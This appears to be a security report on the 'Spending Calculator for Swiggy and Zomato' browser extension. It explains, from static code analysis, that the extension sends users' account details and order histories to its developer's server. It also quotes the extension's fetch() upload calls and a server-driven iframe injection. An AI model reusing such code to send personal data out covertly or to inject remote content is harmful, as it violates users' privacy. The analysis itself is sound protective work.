Is Spending Calculator for Swiggy™ and Zomato™ safe?
Spending Calculator for Swiggy and Zomato is medium risk. Code analysis shows the extension reads your Swiggy ID, phone, email, gender and orders on swiggy.com and posts them to backend.spendingcalculator.xyz. Not reproduced in a live run.…
Spending Calculator for Swiggy and Zomato findings
Spending Calculator sends your Swiggy ID, phone, email and orders to its server
Code analysis shows the extension reads your Swiggy ID, phone, email, gender and orders on swiggy.com and posts them to backend.spendingcalculator.xyz.
Not reproduced in a live run.
What actually happens
You open swiggy.com while signed in with past orders.
The page script reads your account details and order list and posts them to backend.spendingcalculator.xyz/api/swiggydata.
Fields in the posted payload
- userId8765432 (illustrative)
Your Swiggy account identifier.
- phoneNumber+91 98xxxxxxxx (illustrative)
Phone number from your last delivery address.
- emailIdasha@example.com (illustrative)
Email from your last delivery address.
- genderF (illustrative)
Gender stored for the account.
- SwiggyOrderedData57 orders (illustrative)
Full order history with items and prices.
The code that does this
Upload call in the content script
fetch("https://backend.spendingcalculator.xyz/api/swiggydata",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify(a)})Where the data goes
- backend.spendingcalculator.xyz
Developer backend that receives the account and order payload.
Observation
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
Spending Calculator sends your Zomato ID, phone and order history to its server
Code analysis shows the extension reads your Zomato ID, name, phone and orders on zomato.com and posts them to backend.spendingcalculator.xyz.
Not reproduced in a live run.
What actually happens
You open zomato.com while signed in with past orders.
The page script reads your account details and order list and posts them to backend.spendingcalculator.xyz/api/zomatodata.
Fields in the posted payload
- userId1234567 (illustrative)
Your Zomato account identifier.
- PhoneNumber+91 98xxxxxxxx (illustrative)
Phone number found on the page.
- usernameAsha K (illustrative)
Name shown on your Zomato account.
- ZomatoOrdersData42 orders (illustrative)
Full order history with dates and totals.
- OrderItemsPaneer Tikka x2 (illustrative)
Every food item you have ordered.
The code that does this
Upload call in the content script
await fetch("https://backend.spendingcalculator.xyz/api/zomatodata",{method:"POST",headers:{"Content-Type":"application/json",Origin:"https://www.zomato.com"},body:JSON.stringify(n)})Where the data goes
- backend.spendingcalculator.xyz
Developer backend that receives the account and order payload.
Observation
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
The vendor's server can make the extension load its own web content into sites
The vendor's server supplies a list of sites and addresses, and the extension loads those addresses inside matching pages.
The vendor can add sites without an extension update.
What actually happens
The backend returns a domain list and, for a listed site, a URL.
The page gets an iframe pointing at that URL, with no extension update needed.
The code that does this
Worker forwards the server URL; content script frames it
background.js
background/background.jschrome.tabs.sendMessage(tabId, { type: "fooddy-site-frame", url: resolvedUrl});content.js
content.jsconst t = document.createElement("iframe");t.src = e.url;document.getElementsByTagName("head")[0].appendChild(t);Server endpoints involved
- backend.spendingcalculator.xyz
Receives the client ID and visited address; returns the domain list and frame URL.
Observation
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
+4 more findings not shown
What Spending Calculator for Swiggy and Zomato can do
Permissions this extension asks for, as declared in version 1.7. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to. The current listed version is 1.8, which we have not unpacked yet.
Read and change your data on every site you visit
<all_urls>
See the address and title of every tab you have open
tabs
Store data in your browser
storage
Act on the current tab, but only after you click the extension
activeTab
Show you desktop notifications
notifications
Spending Calculator for Swiggy and Zomato version history
1.7
Mar 4, 2026
1.8
Jun 15, 2026
Where Spending Calculator for Swiggy and Zomato sends data
- backend.spendingcalculator.xyz/api/s/…4 calls
From its background script · only this extension
- www.zomato.com/webroutes/user/…2 calls
From a script it injects into websites · only this extension
- backend.spendingcalculator.xyz/dashboard/totalusers1 call
From a script it injects into websites · only this extension
- www.swiggy.com/dapi/order/…1 call
From a script it injects into websites · only this extension
Chrome Web Store listing
- Versions
- 1.8 latest of 2 seen since March 4, 2026
- Store rating
- 3.5 from 244 ratings
- Last updated
- June 14, 2026
- Size
- 860 KiB
- Privacy policy
- docs.google.com
